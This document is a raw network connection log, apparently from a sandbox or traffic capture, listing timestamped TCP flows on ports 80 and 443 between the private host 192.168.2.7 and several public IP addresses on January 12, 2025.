Jan 12, 2025 09:27:46.115222931 CET	50559	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:46.116686106 CET	50560	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:46.117233038 CET	80	50556	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:46.120014906 CET	80	50559	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:46.120085955 CET	50559	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:46.120085955 CET	50559	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:46.121509075 CET	80	50560	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:46.121567011 CET	50560	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:46.121613979 CET	50560	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:46.124896049 CET	80	50559	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:46.126455069 CET	80	50560	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:46.588321924 CET	80	50560	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:46.588495970 CET	50560	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:46.588694096 CET	80	50560	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:46.588754892 CET	50560	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:46.589119911 CET	50561	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:46.589214087 CET	443	50561	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:46.589317083 CET	50561	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:46.590285063 CET	50561	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:46.590351105 CET	443	50561	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:46.590428114 CET	50561	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:46.591341019 CET	50562	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:46.593377113 CET	80	50560	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:46.594880104 CET	80	50559	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:46.595179081 CET	80	50559	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:46.595242023 CET	50559	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:46.595679045 CET	50563	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:46.595696926 CET	50559	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:46.595738888 CET	443	50563	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:46.596340895 CET	80	50562	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:46.596416950 CET	50563	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:46.596416950 CET	50562	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:46.596524000 CET	50563	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:46.596524954 CET	50562	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:46.596573114 CET	443	50563	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:46.596631050 CET	50563	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:46.596797943 CET	50564	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:46.600485086 CET	80	50559	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:46.601316929 CET	80	50562	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:46.601624012 CET	80	50564	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:46.601895094 CET	50564	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:46.601910114 CET	50564	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:46.606703043 CET	80	50564	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:47.049500942 CET	80	50562	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:47.050509930 CET	80	50562	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:47.050961971 CET	50562	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:47.051064014 CET	50562	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:47.055938959 CET	80	50562	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:47.073853016 CET	80	50564	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:47.074592113 CET	80	50564	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:47.074788094 CET	50564	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:47.084084988 CET	50564	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:47.088927984 CET	80	50564	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:47.115257978 CET	50567	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:47.115291119 CET	443	50567	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:47.115370035 CET	50567	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:47.133495092 CET	50567	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:47.133564949 CET	443	50567	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:47.133738041 CET	50567	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:47.235675097 CET	50568	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:47.240530968 CET	80	50568	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:47.240601063 CET	50568	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:47.240623951 CET	50568	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:47.245534897 CET	80	50568	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:47.698659897 CET	80	50568	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:47.698898077 CET	80	50568	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:47.698980093 CET	50568	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:47.726088047 CET	50568	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:47.730937958 CET	80	50568	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:47.852698088 CET	50569	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:47.852722883 CET	443	50569	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:47.852791071 CET	50569	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:47.852988005 CET	50569	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:47.853044987 CET	443	50569	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:47.853100061 CET	50569	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:47.854228973 CET	50570	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:47.859253883 CET	80	50570	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:47.859332085 CET	50570	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:47.859368086 CET	50570	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:47.864204884 CET	80	50570	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:48.329457998 CET	80	50570	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:48.329619884 CET	50570	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:48.330187082 CET	80	50570	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:48.330248117 CET	50570	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:48.334490061 CET	80	50570	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:48.774130106 CET	50573	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:48.774177074 CET	443	50573	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:48.774296045 CET	50573	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:48.775068998 CET	50573	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:48.775089025 CET	443	50573	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:48.816396952 CET	50574	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:48.816445112 CET	443	50574	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:48.816534996 CET	50574	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:48.817215919 CET	50574	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:48.817230940 CET	443	50574	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:49.240695953 CET	443	50573	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:49.240792990 CET	50573	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:49.291300058 CET	50573	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:49.291363955 CET	443	50573	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:49.291424036 CET	50573	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:49.291973114 CET	50575	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.292064905 CET	443	50575	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.292145967 CET	50575	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.292202950 CET	50575	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.292273998 CET	443	50575	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.292325020 CET	50575	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.292547941 CET	443	50574	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:49.292614937 CET	50574	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:49.292718887 CET	50576	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.293756962 CET	50574	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:49.293797016 CET	443	50574	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:49.293840885 CET	50574	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:49.296597004 CET	50577	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.296621084 CET	443	50577	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.296725035 CET	50577	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.296870947 CET	50577	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.296902895 CET	443	50577	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.296967030 CET	50577	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.297494888 CET	80	50576	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.297549963 CET	50576	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.297586918 CET	50576	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.298067093 CET	50578	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.302369118 CET	80	50576	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.302886963 CET	80	50578	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.302936077 CET	50578	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.302968979 CET	50578	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.307825089 CET	80	50578	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.764889002 CET	80	50578	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.765058994 CET	50578	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.766130924 CET	80	50578	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.766186953 CET	50578	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.766324043 CET	50579	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.766341925 CET	443	50579	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:49.766422987 CET	50579	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.766422987 CET	50579	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.766581059 CET	443	50579	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:49.766655922 CET	50579	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.767395020 CET	50580	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.769505978 CET	80	50576	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.769609928 CET	50576	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.769877911 CET	80	50578	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.770104885 CET	80	50576	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.770148039 CET	50576	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:49.770476103 CET	50581	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.770575047 CET	443	50581	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:49.770653963 CET	50581	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.770653963 CET	50581	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.770761013 CET	443	50581	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:49.770817041 CET	50581	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.771373987 CET	50582	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.772200108 CET	80	50580	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:49.772257090 CET	50580	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.772367001 CET	50580	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.774425983 CET	80	50576	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:49.776161909 CET	80	50582	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:49.776221991 CET	50582	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.776257992 CET	50582	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:49.777090073 CET	80	50580	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:49.781148911 CET	80	50582	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:50.245635986 CET	80	50580	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:50.245686054 CET	80	50582	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:50.245831013 CET	50580	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:50.245893955 CET	80	50580	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:50.245959997 CET	50580	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:50.246221066 CET	80	50582	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:50.246287107 CET	50582	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:50.246520042 CET	50582	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:50.250744104 CET	80	50580	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:50.251588106 CET	80	50582	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:51.376810074 CET	50583	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.376914978 CET	443	50583	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.377085924 CET	50583	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.377168894 CET	50583	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.377280951 CET	443	50583	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.377343893 CET	50583	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.377435923 CET	50584	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.377475977 CET	443	50584	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.377533913 CET	50584	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.377563000 CET	50584	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.377598047 CET	443	50584	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.377644062 CET	50584	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.378176928 CET	50585	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.378504992 CET	50586	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.383151054 CET	80	50585	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.383232117 CET	50585	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.383268118 CET	50585	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.383270979 CET	80	50586	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.383335114 CET	50586	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.383347988 CET	50586	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.388071060 CET	80	50585	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.388134956 CET	80	50586	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.829025984 CET	80	50586	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.829320908 CET	50586	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.829693079 CET	80	50586	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.829750061 CET	50586	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.834160089 CET	80	50586	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.840322018 CET	80	50585	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.840456009 CET	50585	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.841306925 CET	80	50585	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:51.841366053 CET	50585	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:51.845293999 CET	80	50585	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:56.957525969 CET	50587	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.957633018 CET	443	50587	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:56.957732916 CET	50587	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.957892895 CET	50587	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.957962036 CET	443	50587	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:56.958025932 CET	50587	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.959492922 CET	50588	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.963485003 CET	50589	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.963531017 CET	443	50589	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:56.963593960 CET	50589	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.963627100 CET	50589	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.963668108 CET	443	50589	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:56.963715076 CET	50589	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.964608908 CET	80	50588	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:56.964663029 CET	50588	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.965092897 CET	50590	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.965133905 CET	50588	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.969999075 CET	80	50590	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:56.970050097 CET	80	50588	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:56.970114946 CET	50590	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.970424891 CET	50590	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:56.975215912 CET	80	50590	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:57.421802044 CET	80	50588	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:57.421912909 CET	50588	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:57.422194004 CET	80	50588	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:57.422243118 CET	50588	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:57.426757097 CET	80	50588	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:57.432512045 CET	80	50590	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:57.432605028 CET	50590	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:57.432635069 CET	80	50590	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:57.432679892 CET	50590	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:57.437438011 CET	80	50590	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:15.954606056 CET	50595	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:15.954663992 CET	443	50595	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:15.954746962 CET	50595	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:17.736654997 CET	50596	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:17.736716032 CET	443	50596	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:17.736826897 CET	50596	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:17.738240004 CET	50596	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:17.738255024 CET	443	50596	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:18.198559046 CET	443	50596	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:18.198699951 CET	50596	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:24.398902893 CET	50596	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:24.399028063 CET	443	50596	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:24.399288893 CET	443	50596	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:24.399394989 CET	50596	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:24.399394989 CET	50596	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:24.399574041 CET	50598	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.399621964 CET	443	50598	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:24.399852037 CET	50598	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.399852037 CET	50598	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.399935007 CET	443	50598	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:24.399993896 CET	50598	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.400214911 CET	50599	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.400629044 CET	50595	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:24.400650978 CET	443	50595	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:24.405117035 CET	80	50599	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:24.407871962 CET	50599	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.407896042 CET	50599	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.412688971 CET	80	50599	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:24.928720951 CET	443	50595	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:24.928970098 CET	50595	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:24.931675911 CET	80	50599	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:24.931796074 CET	50599	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.932307005 CET	50600	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:24.932378054 CET	443	50600	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:24.932466030 CET	50600	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:24.932507038 CET	80	50599	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:24.932540894 CET	50600	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:24.932564974 CET	50599	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.932693005 CET	50601	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:24.932719946 CET	443	50600	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:24.935857058 CET	50600	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:24.936732054 CET	80	50599	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:24.937508106 CET	80	50601	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:24.937580109 CET	50601	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:24.937604904 CET	50601	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:24.942460060 CET	80	50601	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:24.955724001 CET	50595	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:24.955815077 CET	443	50595	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:24.956059933 CET	443	50595	104.21.60.172	192.168.2.7
Jan 12, 2025 09:28:24.956111908 CET	50595	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:24.956131935 CET	50595	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:28:24.956216097 CET	50602	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.956271887 CET	443	50602	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:24.956341982 CET	50602	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.956532955 CET	50602	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.956561089 CET	443	50602	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:24.956614017 CET	50602	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.956837893 CET	50603	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.961608887 CET	80	50603	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:24.961684942 CET	50603	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.961721897 CET	50603	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:24.966490030 CET	80	50603	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:25.419701099 CET	80	50601	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:25.419900894 CET	50601	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.419909954 CET	80	50601	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:25.420037985 CET	50601	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.421255112 CET	50604	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.421351910 CET	443	50604	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:25.421502113 CET	50604	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.421503067 CET	50604	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.421878099 CET	443	50604	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:25.421974897 CET	50604	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.423352003 CET	50605	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.424736977 CET	80	50601	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:25.428142071 CET	80	50605	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:25.428232908 CET	50605	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.428232908 CET	50605	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.432971954 CET	80	50605	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:25.443326950 CET	80	50603	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:25.443428993 CET	50603	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:25.443896055 CET	80	50603	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:25.443969011 CET	50603	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:28:25.444525957 CET	50606	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.444561005 CET	443	50606	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:25.444655895 CET	50606	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.444770098 CET	50606	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.444807053 CET	443	50606	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:25.444883108 CET	50606	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.445579052 CET	50607	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.448159933 CET	80	50603	188.114.97.3	192.168.2.7
Jan 12, 2025 09:28:25.450335979 CET	80	50607	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:25.450438976 CET	50607	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.450524092 CET	50607	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:28:25.455329895 CET	80	50607	172.67.198.113	192.168.2.7
Jan 12, 2025 09:28:25.890772104 CET	80	50605	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:25.891220093 CET	80	50605	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:25.891336918 CET	50605	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.891336918 CET	50605	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:28:25.891592979 CET	50608	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:25.891629934 CET	443	50608	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:25.891700983 CET	50608	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:25.891729116 CET	50608	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:25.891823053 CET	443	50608	104.21.64.1	192.168.2.7
Jan 12, 2025 09:28:25.891875029 CET	50608	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:25.892091990 CET	50609	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:28:25.896137953 CET	80	50605	172.67.176.186	192.168.2.7
Jan 12, 2025 09:28:25.896980047 CET	80	50609	104.21.64.1	192.168.2.7
